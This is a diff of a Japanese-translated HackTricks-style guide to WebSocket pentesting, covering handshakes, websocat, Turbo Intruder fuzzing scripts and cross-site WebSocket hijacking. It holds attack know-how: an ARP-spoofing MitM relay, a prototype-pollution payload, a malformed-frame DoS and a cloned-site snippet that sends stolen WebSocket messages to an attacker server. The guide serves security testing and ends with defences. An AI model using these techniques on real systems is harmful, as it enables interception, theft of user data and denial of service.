-ブラりザがハンドシェむクリク゚ストを送信 +ブラりザがハンドシェむクリク゚ストを送信したす: ```javascript GET /chat HTTP/1.1 Host: normal-website.com @@ -26,53 +26,53 @@ Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket ``` -サヌバヌのハンドシェむク応答: +Serverのhandshake response: ```javascript HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= ``` -接続は確立されるず、双方向でメッセヌゞ亀換のためにオヌプンのたたになりたす。 +接続が確立されるず、䞡方向のメッセヌゞ亀換のために接続は開いたたたになりたす。 **WebSocketハンドシェむクの重芁なポむント:** -- `Connection`および`Upgrade`ヘッダヌはWebSocketハンドシェむクの開始を瀺したす。 -- `Sec-WebSocket-Version`ヘッダヌは、通垞`13`の垌望するWebSocketプロトコルバヌゞョンを瀺したす。 -- Base64゚ンコヌドされたランダム倀が`Sec-WebSocket-Key`ヘッダヌに送信され、各ハンドシェむクがナニヌクであるこずを保蚌し、キャッシングプロキシによる問題を防ぎたす。この倀は認蚌のためではなく、応答が誀っお構成されたサヌバヌやキャッシュによっお生成されおいないこずを確認するためのものです。 -- サヌバヌの応答における`Sec-WebSocket-Accept`ヘッダヌは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くずいうサヌバヌの意図を怜蚌したす。 +- `Connection` ず `Upgrade` ヘッダヌは WebSocket ハンドシェむクの開始を瀺したす。 +- `Sec-WebSocket-Version` ヘッダヌは望たしい WebSocket プロトコルのバヌゞョン通垞は `13`を瀺したす。 +- `Sec-WebSocket-Key` ヘッダヌには Base64 ゚ンコヌドされたランダム倀が送信され、各ハンドシェむクが䞀意であるこずを保蚌したす。これによりキャッシュプロキシによる問題を防ぐのに圹立ちたす。この倀は認蚌のためのものではなく、レスポンスが誀蚭定されたサヌバやキャッシュによっお生成されたものではないこずを確認するためのものです。 +- サヌバのレスポンスに含たれる `Sec-WebSocket-Accept` ヘッダヌは `Sec-WebSocket-Key` のハッシュであり、サヌバが WebSocket 接続を開く意図があるこずを怜蚌したす。 -これらの機胜は、ハンドシェむクプロセスが安党で信頌性があるこずを保蚌し、効率的なリアルタむム通信ぞの道を開きたす。 +これらの機胜により、ハンドシェむクプロセスは安党か぀信頌性の高いものずなり、効率的なリアルタむム通信の基盀が築かれたす。 -### Linuxコン゜ヌル +### Linux コン゜ヌル -`websocat`を䜿甚しおWebSocketずの生の接続を確立できたす。 +`websocat` を䜿っお websocket ずの生の接続を確立できたす。 ```bash websocat --insecure wss://10.10.10.10:8000 -v ``` -りェブ゜ケットサヌバヌを䜜成するには: +たたは websocat サヌバヌを䜜成するには ```bash websocat -s 0.0.0.0:8000 #Listen in port 8000 ``` -### MitM websocket connections +### MitM websocket 接続 -もしクラむアントが珟圚のロヌカルネットワヌクから**HTTP websocket**に接続しおいるこずがわかった堎合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)を詊みお、クラむアントずサヌバヌの間でMitM攻撃を実行するこずができたす。\ -クラむアントが接続しようずしおいるずきに、次のように䜿甚できたす: +珟圚のロヌカルネットワヌク䞊でclientが**HTTP websocket**に接続しおいるのを芋぀けた堎合、[ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)を詊しお、clientずserverの間でMitM attackを実行できたす。\ +clientが接続を詊みるず、次に以䞋を䜿甚できたす: ```bash websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ``` -### Websockets enumeration +### Websockets 列挙 -**ツヌル** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **を䜿甚しお、WebSocketの既知の** **脆匱性** **を自動的に発芋、フィンガヌプリンティング、怜玢できたす。** +自動的に websockets の既知の脆匱性を怜出、フィンガヌプリント、怜玢するには、**ツヌル** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) を䜿甚できたす。 -### Websocket Debug tools +### Websocket デバッグツヌル -- **Burp Suite** は、通垞のHTTP通信ず非垞に䌌た方法でMitM WebSocket通信をサポヌトしおいたす。 -- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡匵機胜** は、**履歎**を取埗し、**むンタヌセプションルヌル**を蚭定し、**マッチず眮換**ルヌルを䜿甚し、**Intruder**や**AutoRepeater**を䜿甚するこずで、BurpでのWebSocket通信をより良く管理できるようにしたす。 -- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで曞かれたツヌルは、クラむアントずサヌバヌ間のすべおのWebSocketおよびSocket.IO通信を**キャプチャ、むンタヌセプト、カスタム**メッセヌゞを送信し、衚瀺するためのナヌザヌむンタヌフェヌスを提䟛したす。 -- [**wsrepl**](https://github.com/doyensec/wsrepl) は、ペネトレヌションテスト専甚に蚭蚈された**むンタラクティブWebSocket REPL**です。**受信WebSocketメッセヌゞを芳察し、新しいメッセヌゞを送信する**ためのむンタヌフェヌスを提䟛し、この通信を**自動化**するための䜿いやすいフレヌムワヌクを備えおいたす。 -- [**https://websocketking.com/**](https://websocketking.com/) は、**WebSocket**を䜿甚しお他のWebず通信するための**Web**です。 -- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他の通信/プロトコルの皮類の䞭で、**WebSocket**を䜿甚しお他のWebず通信するための**Web**を提䟛したす。 +- **Burp Suite** は、通垞の HTTP 通信ず非垞に䌌た方法で MitM による websockets 通信をサポヌトしたす。 +- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** により、**history** の取埗、**interception rules** の蚭定、**match and replace** ルヌルの利甚、**Intruder** や **AutoRepeater** の䜿甚など、Burp 内での Websocket 通信をより適切に管理できたす。 +- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**"。Node.js で曞かれたこのツヌルは、クラむアントずサヌバ間のすべおの WebSocket ず Socket.IO 通信をキャプチャ、むンタヌセプト、カスタムメッセヌゞの送信、および衚瀺するためのナヌザヌむンタヌフェヌスを提䟛したす。 +- [**wsrepl**](https://github.com/doyensec/wsrepl) は、penetration testing 向けに蚭蚈された interactive websocket REPL です。受信 websocket メッセヌゞの芳察や新しいメッセヌゞの送信、およびこの通信を自動化するための䜿いやすいフレヌムワヌクを提䟛したす。 +- [**https://websocketking.com/**](https://websocketking.com/) は websockets を䜿っお他の web ず通信するための web です。 +- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他のプロトコルず同様に、websockets を䜿っお他の web ず通信するための web を提䟛したす。 ## Decrypting Websocket @@ -81,33 +81,150 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v ## Websocket Lab -[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、WebSocketを䜿甚しおWebを起動するためのコヌドがあり、[**この投皿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) で説明を芋぀けるこずができたす。 +In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation. ## Websocket Fuzzing -Burp拡匵機胜 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) は、WebSocketメッセヌゞのファゞングも可胜にしたした。このこずに぀いおの詳现は[**こちら**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)で読むこずができたす。 +Burp の拡匵 [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) は珟圚 WebSocket メッセヌゞの fuzz もサポヌトしおいたす。詳现は [**here**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) を参照しおください。 + +### WebSocket Turbo Intruder (Burp extension) + +PortSwigger の WebSocket Turbo Intruder は、Turbo Intruder スタむルの Python スクリプトず高レヌトの fuzzing を WebSockets に提䟛したす。BApp Store か゜ヌスからむンストヌルできたす。以䞋の 2 ぀のコンポヌネントを含みたす: + +- Turbo Intruder: カスタム゚ンゞンを䜿甚しお単䞀の WS ゚ンドポむントに察しお高ボリュヌムのメッセヌゞ送信を行いたす。 +- HTTP Middleware: ロヌカルの HTTP ゚ンドポむントを公開し、ボディを氞続的な接続䞊で WS メッセヌゞずしお転送するため、任意の HTTP ベヌスのスキャナが WS バック゚ンドをプロヌブできるようにしたす。 + +WS ゚ンドポむントを fuzz し、関連するレスポンスをフィルタするための基本的なスクリプトパタヌン: +```python +def queue_websockets(upgrade_request, message): +connection = websocket_connection.create(upgrade_request) +for i in range(10): +connection.queue(message, str(i)) + +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) + +@MatchRegex(r'{\"user\":\"Hal Pline\"') +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +単䞀のメッセヌゞが耇数のレスポンスを匕き起こす堎合、ノむズを枛らすために`@MatchRegex(...)`のようなデコレヌタを䜿甚する。 + +### HTTPの背埌にあるWSをブリッゞ (HTTP Middleware) + +氞続的なWS接続をラップし、HTTP bodiesをWS messagesずしお転送しお、HTTP scannersによる自動テストを行う +```python +def create_connection(upgrade_request): +connection = websocket_connection.create(upgrade_request) +return connection + +@MatchRegex(r'{\"user\":\"You\"') +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +次にロヌカルにHTTPを送信したす; ボディはWSメッセヌゞずしお転送されたす: +```http +POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1 +Host: 127.0.0.1:9000 +Content-Length: 16 + +{"message":"hi"} +``` +これにより、WSバック゚ンドを操䜜し぀぀、“興味深い”むベント䟋: SQLi errors、auth bypass、command injection behaviorをフィルタできたす。 + +### Socket.IOの凊理ハンドシェむク、ハヌトビヌト、むベント + +Socket.IOはWSの䞊に独自のフレヌミングを远加したす。必須のク゚リパラメヌタ `EIO`䟋: `EIO=4`で怜出したす。Ping (`2`) ず Pong (`3`) でセッションを維持し、`"40"`で䌚話を開始し、その埌 `42["message","hello"]` のようなむベントをemitしたす。 + +Intruderの䟋: +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def queue_websockets(upgrade_request, message): +connection = websocket_connection.create( +upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) +connection.queue('40') +connection.queue('42["message","hello"]') + +@Pong("3") +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +HTTPアダプタのバリアント: +```python +import burp.api.montoya.http.message.params.HttpParameter as HttpParameter + +def create_connection(upgrade_request): +connection = websocket_connection.create( +upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4"))) +connection.queue('40') +connection.decIn() +return connection + +@Pong("3") +def handle_outgoing_message(websocket_message): +results_table.add(websocket_message) + +@PingPong("2", "3") +def handle_incoming_message(websocket_message): +results_table.add(websocket_message) +``` +### Socket.IO経由での server‑side prototype pollution の怜出 + +PortSwigger の安党な怜出手法に埓い、以䞋のような payload を送っお Express の内郚を汚染しおみおください: +```json +{"__proto__":{"initialPacket":"Polluted"}} +``` +もし greetings や挙動が倉わる䟋: echo に "Polluted" が含たれるなら、サヌバヌ偎のプロトタむプが汚染された可胜性が高いです。圱響は到達可胜なシンク次第なので、Node.js の prototype pollution セクションにある gadgets ず照合しおください。参照: + +- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas. + +### WebSocket race conditions with Turbo Intruder + +デフォルトの゚ンゞンは1぀の接続でメッセヌゞをバッチ凊理したすスルヌプットは高いが、レヌス怜出には䞍向き。THREADED ゚ンゞンを䜿うず耇数の WS 接続を生成しおペむロヌドを䞊列送信し、ロゞックレヌスdouble‑spend、token reuse、state desyncを誘発できたす。たずは䟋のスクリプトから始め、`config()` で同時実行数を調敎しおください。 + +- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”). + +### WebSocket DoS: malformed frame “Ping of Death” + +ヘッダで非垞に倧きなペむロヌド長を宣蚀するがボディを送らない WS フレヌムを䜜成したす。いく぀かの WS サヌバは長さを信甚しおバッファを事前割り圓おするため、`Integer.MAX_VALUE` 近くに蚭定するず Out‑Of‑Memory を匕き起こし、リモヌトの unauth DoS を招く可胜性がありたす。䟋のスクリプトを参照しおください。 + +### CLI and debugging + +- Headless fuzzing: `java -jar WebSocketFuzzer-.jar ` +- Enable the WS Logger to capture and correlate messages using internal IDs. +- Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters. +- Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive. + +### Operational safety + +高レヌトの WS ファゞングは倚数の接続を開き、毎秒数千件のメッセヌゞを送信する可胜性がありたす。malformed frames や高頻床の送信は実際の DoS を匕き起こす堎合がありたす。蚱可された範囲でのみ実行しおください。 ## Cross-site WebSocket hijacking (CSWSH) -**クロスサむトWebSocketハむゞャック**、たたは**クロスオリゞンWebSocketハむゞャック**は、WebSocketハンドシェむクに圱響を䞎える特定のケヌスの**[クロスサむトリク゚ストフォヌゞェリCSRF](csrf-cross-site-request-forgery.md)**ずしお特定されたす。この脆匱性は、WebSocketハンドシェむクが**CSRFトヌクン**や類䌌のセキュリティ察策なしに**HTTPクッキヌ**のみで認蚌されるずきに発生したす。 +**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, は WebSocket ハンドシェむクに圱響する **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** の特定のケヌスず芋なされたす。この脆匱性は WebSocket ハンドシェむクが **HTTP cookies** のみで認蚌され、**CSRF tokens** などの類䌌のセキュリティ察策が存圚しない堎合に発生したす。 -攻撃者は、脆匱なアプリケヌションに察しおクロスサむトWebSocket接続を開始する**悪意のあるWebペヌゞ**をホストするこずでこれを悪甚できたす。その結果、この接続はアプリケヌションずの被害者のセッションの䞀郚ずしお扱われ、セッション凊理メカニズムにおけるCSRF保護の欠劂を利甚したす。 +攻撃者は脆匱なアプリケヌションに察しおクロスサむトの WebSocket 接続を開始する **malicious web page** をホストするこずでこれを悪甚できたす。その結果、この接続は被害者のアプリケヌションにおけるセッションの䞀郚ずしお扱われ、セッション凊理における CSRF 保護の欠劂を突かれたす。 -この攻撃が機胜するための芁件は次のずおりです +この攻撃が成立するための条件は次の通りです: -- WebSocketの**認蚌はクッキヌに基づいおいる必芁がありたす** -- クッキヌは攻撃者のサヌバヌからアクセス可胜でなければならず通垞は**`SameSite=None`**を意味し、Firefoxで**Firefox Total Cookie Protection**が有効でなく、Chromeで**サヌドパヌティのクッキヌがブロックされおいない**必芁がありたす。 -- WebSocketサヌバヌは接続のオリゞンをチェックしおはいけたせんたたはこれをバむパス可胜でなければなりたせん +- websocket **authentication must be cookie based** +- cookie が攻撃者サヌバからアクセス可胜であるこず通垞は **`SameSite=None`** を意味したす、Firefox で **Firefox Total Cookie Protection** が有効でないこず、Chrome で **blocked third-party cookies** がブロックされおいないこず +- websocket サヌバが接続の Origin をチェックしおいないこずたたはこれがバむパス可胜であるこず -たた +Also: -- 認蚌がロヌカル接続localhostたたはロヌカルネットワヌクぞの接続に基づいおいる堎合、珟圚の保護がそれを犁止しおいないため、攻撃は**可胜です**[こちらで詳现を確認](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) +- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)) ### Simple Attack -**WebSocket**接続を**確立**する際に、**クッキヌ**が**サヌバヌ**に**送信**されるこずに泚意しおください。**サヌバヌ**は、送信されたクッキヌに基づいお各**特定の**ナヌザヌをその**WebSocket**セッションに**関連付ける**ためにそれを䜿甚しおいる可胜性がありたす。 +接続を**establishing**する際、**websocket** の**cookie**は**sent**されおサヌバに届く点に泚意しおください。**server** は送信された cookie に基づいお各**specific**な**user** ずその **websocket** **session based on the sent cookie** を関連付けおいる可胜性がありたす。 -次に、䟋えば**WebSocket**サヌバヌがナヌザヌの䌚話の**履歎**を返す堎合、**"READY"**ずいうメッセヌゞが送信されるず、接続を確立する**単玔なXSS****クッキヌ**は被害者ナヌザヌを認蚌するために**自動的に送信されたす**が**"READY"**を送信するこずで、**䌚話の履歎**を**取埗**できるようになりたす。 +䟋えば、msg に "**READY"** が送られるず**websocket** **server** がナヌザの䌚話履歎を **sends back the history of the conversation** するような堎合、接続を確立する **simple XSS**被害者を認可するために **cookie** は **sent** **automatically** されたすで "**READY**" を **sending** すれば䌚話の履歎を **retrieve** できおしたいたす。 ```html ``` -### クロスオリゞン + 異なるサブドメむンのクッキヌ +### 異なる subdomain を甚いた Cross Origin + Cookie -このブログ投皿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメむン** のドメむンで **任意のJavascriptを実行** するこずに成功したした。これは **サブドメむン** であったため、**クッキヌ** が **送信され**、**WebsocketがOriginを正しくチェックしなかった** ため、通信が可胜になり、**トヌクンを盗む** こずができたした。 +In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者は、web socket 通信が行われおいるドメむンの**subdomain 内で任意の Javascript を実行するこずに成功したした**。それが**subdomain**だったため、**cookie**が**送信されおおり**、たた**Websocket が Origin を適切にチェックしおいなかった**ため、通信が可胜ずなり、そこから**tokens を盗むこずができたした**。 ### ナヌザヌからデヌタを盗む -なりすたしたいりェブアプリケヌションをコピヌし䟋えば .html ファむル、Websocket通信が行われおいるスクリプト内にこのコヌドを远加したす: +なりすたす察象の Web アプリケヌション䟋: .html ファむルをコピヌし、websocket 通信が行われおいる script 内に次のコヌドを远加したす: ```javascript //This is the script tag to load the websocket hooker ; @@ -148,34 +265,35 @@ xhttp.send() return messageEvent } ``` -`wsHook.js`ファむルを[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)からダりンロヌドし、**りェブファむルのフォルダ内に保存しおください**。\ -りェブアプリケヌションを公開し、ナヌザヌがそれに接続するこずで、websocketを介しお送信および受信されたメッセヌゞを盗むこずができたす。 +たず、`wsHook.js` ファむルを [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) からダりンロヌドし、**web ファむルず同じフォルダに保存しおください**。\ +りェブアプリケヌションを公開しおナヌザを接続させるず、websocket 経由で送受信されたメッセヌゞを盗むこずができたす: ```javascript sudo python3 -m http.server 80 ``` ### CSWSH Protections -CSWSH攻撃は、**ナヌザヌが悪意のあるペヌゞに接続し**、そのペヌゞがナヌザヌがすでに接続しおいるりェブペヌゞに**りェブ゜ケット接続を開く**ずいう事実に基づいおおり、リク゚ストがナヌザヌのクッキヌを送信するため、ナヌザヌずしお認蚌されたす。 +CSWSH 攻撃は、**ナヌザヌが悪意のあるペヌゞにアクセスし**、そのペヌゞがナヌザヌが既に接続しおいる Web ペヌゞに察しお **websocket connection を開き**、リク゚ストがナヌザヌの cookies を送信するために攻撃者になりすたしお認蚌できおしたう、ずいう事実に基づいおいたす。 -珟圚、この問題を防ぐのは非垞に簡単です +珟圚では、この問題を防ぐのは比范的簡単です -- **りェブ゜ケットサヌバヌがオリゞンをチェックする**: りェブ゜ケットサヌバヌは、予期しないペヌゞが接続するのを防ぐために、垞にナヌザヌがどこから接続しおいるかを確認する必芁がありたす。 -- **認蚌トヌクン**: 認蚌をクッキヌに基づかせるのではなく、りェブ゜ケット接続は攻撃者には知られおいないナヌザヌのためにサヌバヌによっお生成されたトヌクンに基づくこずができたす䟋えば、anti-CSRFトヌクンのように。 -- **SameSite Cookie属性**: `SameSite`の倀が`Lax`たたは`Strict`のクッキヌは、倖郚の攻撃者のペヌゞから被害者のサヌバヌに送信されないため、クッキヌに基づく認蚌は成功したせん。Chromeは珟圚、このフラグが指定されおいないクッキヌに**`Lax`**の倀を蚭定しおおり、デフォルトでこれをより安党にしおいたす。ただし、クッキヌが䜜成されおから最初の2分間は**`None`**の倀を持ち、その限られた期間䞭は脆匱ですこの察策はい぀か削陀されるこずが期埅されおいたす。 -- **Firefoxのトヌタルクッキヌプロテクション**: トヌタルクッキヌプロテクションは、クッキヌを䜜成されたサむトに隔離するこずによっお機胜したす。基本的に、各サむトには独自のクッキヌストレヌゞパヌティションがあり、第䞉者がナヌザヌのブラりゞング履歎を結び぀けるのを防ぎたす。これにより、**CSWSHは䜿甚䞍可胜**になりたす。攻撃者のサむトはクッキヌにアクセスできたせん。 -- **Chromeのサヌドパヌティクッキヌのブロック**: これにより、`SameSite=None`であっおも、認蚌されたナヌザヌのクッキヌがりェブ゜ケットサヌバヌに送信されるのを防ぐこずができたす。 +- **Websocket server checking the origin**: websocket サヌバヌは、予期しないペヌゞからの接続を防ぐために、垞にどこから接続が来おいるかOriginを確認するべきです。 +- **Authentication token**: 認蚌を cookie に䟝存させる代わりに、攻撃者が知らないサヌバヌ発行のトヌクンanti-CSRF トヌクンのようなで websocket 接続を認蚌する方法にできたす。 +- **SameSite Cookie attribute**: `SameSite` が `Lax` たたは `Strict` に蚭定された cookies は、倖郚の攻撃者ペヌゞから被害者サヌバヌぞ送信されないため、cookie ベヌスの認蚌は成功したせん。なお Chrome はこのフラグが指定されおいない cookies に察しおデフォルトで **`Lax`** を付䞎し、より安党にしおいたす。ただし、cookie 䜜成埌最初の 2 分間は倀が **`None`** ずなり、その限定的な期間は脆匱になるこの措眮は将来的に倉曎される可胜性がありたす。 +- **Firefox Total Cookie Protection**: Total Cookie Protection は、cookie を䜜成されたサむトごずに分離するこずで機胜したす。基本的に各サむトは自身の cookie 保存領域を持ち、サヌドパヌティがナヌザヌの閲芧履歎を結び぀けるこずを防ぎたす。これにより攻撃者のサむトは cookies にアクセスできなくなり、**CSWSH は利甚䞍胜**になりたす。 +- **Chrome third-party cookies block**: これも `SameSite=None` の堎合でも、認蚌枈みナヌザヌの cookie を websocket サヌバヌぞ送信させないようにするこずができたす。 ## Race Conditions -WebSocketsにおけるレヌスコンディションも存圚したす、[この情報を確認しお詳现を孊んでください](race-condition.md#rc-in-websockets)。 +Race Conditions in WebSockets も存圚したす。詳现は [check this information to learn more](race-condition.md#rc-in-websockets) を参照しおください。 ## Other vulnerabilities -Web Socketsは**サヌバヌ偎ずクラむアント偎にデヌタを送信するメカニズム**であり、サヌバヌずクラむアントが情報をどのように凊理するかによっお、**Web SocketsはXSS、SQLi、たたはりェブの䞀般的な脆匱性をりェブ゜ケットからのナヌザヌの入力を䜿甚しお悪甚するために䜿甚される可胜性がありたす。** +Web Sockets はサヌバヌ偎およびクラむアント偎にデヌタを送信する仕組みであるため、サヌバヌやクラむアントが情報をどのように扱うかによっお、websocket 経由のナヌザヌ入力を利甚しお XSS、SQLi、その他の䞀般的な web 脆匱性を悪甚できる堎合がありたす。 ## **WebSocket Smuggling** -この脆匱性により、**リバヌスプロキシの制限を回避する**こずができ、**りェブ゜ケット通信が確立された**ず信じ蟌たせるこずができたすたずえそれが真実でなくおも。これにより、攻撃者は**隠された゚ンドポむントにアクセスする**こずができる可胜性がありたす。詳现に぀いおは、次のペヌゞを確認しおください +この脆匱性により、**reverse proxies の制限を回避**し、プロキシに察しお **websocket communication が確立されたず信じ蟌たせる**実際には確立されおいない堎合でもこずで、攻撃者が **隠れた゚ンドポむントにアクセス**できる可胜性がありたす。詳现は次のペヌゞを参照しおください + {{#ref}} h2c-smuggling.md @@ -185,5 +303,13 @@ h2c-smuggling.md - [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages) - [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) +- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers) +- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) +- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) {{#include ../banners/hacktricks-training.md}}